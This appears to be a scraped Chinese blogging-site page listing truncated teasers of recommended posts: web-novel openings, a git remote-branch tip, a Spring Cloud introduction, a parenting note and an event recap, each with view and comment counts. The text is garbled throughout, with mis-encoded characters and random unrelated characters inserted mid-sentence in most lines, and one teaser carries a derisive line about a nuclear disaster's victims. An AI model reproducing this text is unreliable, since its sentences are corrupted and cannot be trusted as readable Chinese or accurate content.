  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡脸哀,死狀恐怖蹦浦,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情撞蜂,我是刑警寧澤盲镶,帶...
    沈念sama閱讀 33,756評(píng)論 4 324
  • 正文 年R本政府宣布,位于F島的核電站蝌诡,受9級(jí)特大地震影響溉贿,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜浦旱,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,324評(píng)論 3 307
  • 文/蒙蒙 一宇色、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧颁湖,春花似錦代兵、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,315評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)裳擎。三九已至涎永,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背羡微。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,539評(píng)論 1 262
  • 我被黑心中介騙來(lái)泰國(guó)打工谷饿, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人妈倔。 一個(gè)月前我還...
    沈念sama閱讀 45,578評(píng)論 2 355
  • 正文 我出身青樓博投,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親盯蝴。 傳聞我的和親對(duì)象是個(gè)殘疾皇子毅哗,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,877評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容

  • 1,查看所有遠(yuǎn)程分支:%git branch -r 2, 拉取遠(yuǎn)程分支并創(chuàng)建本地分支git checkout -...
    will666閱讀 2,055評(píng)論 0 18
  • Spring Cloud為開(kāi)發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見(jiàn)模式的工具(例如配置管理捧挺,服務(wù)發(fā)現(xiàn)虑绵,斷路器,智...
    卡卡羅2017閱讀 134,600評(píng)論 18 139
  • 我昨天為群里S媽拜倒闽烙,14個(gè)月翅睛,開(kāi)始用勺訓(xùn)練。轉(zhuǎn)頭看了一下旁邊熟睡的小丫黑竞,不自覺(jué)的盤(pán)算了一下捕发,給她自主進(jìn)食訓(xùn)練的時(shí)...
    和翊浛閱讀 138評(píng)論 0 0
  • 今年8月10日的PQI USTC DAY的日程表 科大校友演講 這個(gè)活動(dòng)主要是讓我們了解匹茲堡大學(xué)的幾個(gè)物理實(shí)驗(yàn)室...
    jenny42閱讀 344評(píng)論 0 0
  • 我仔細(xì)地回想我小時(shí)候的經(jīng)歷,至從我有記憶開(kāi)始很魂,我就是在父母身邊的扎酷,沒(méi)有離開(kāi)過(guò),但記得我以前也是個(gè)自卑的人后來(lái)一...
    小草草小閱讀 277評(píng)論 0 0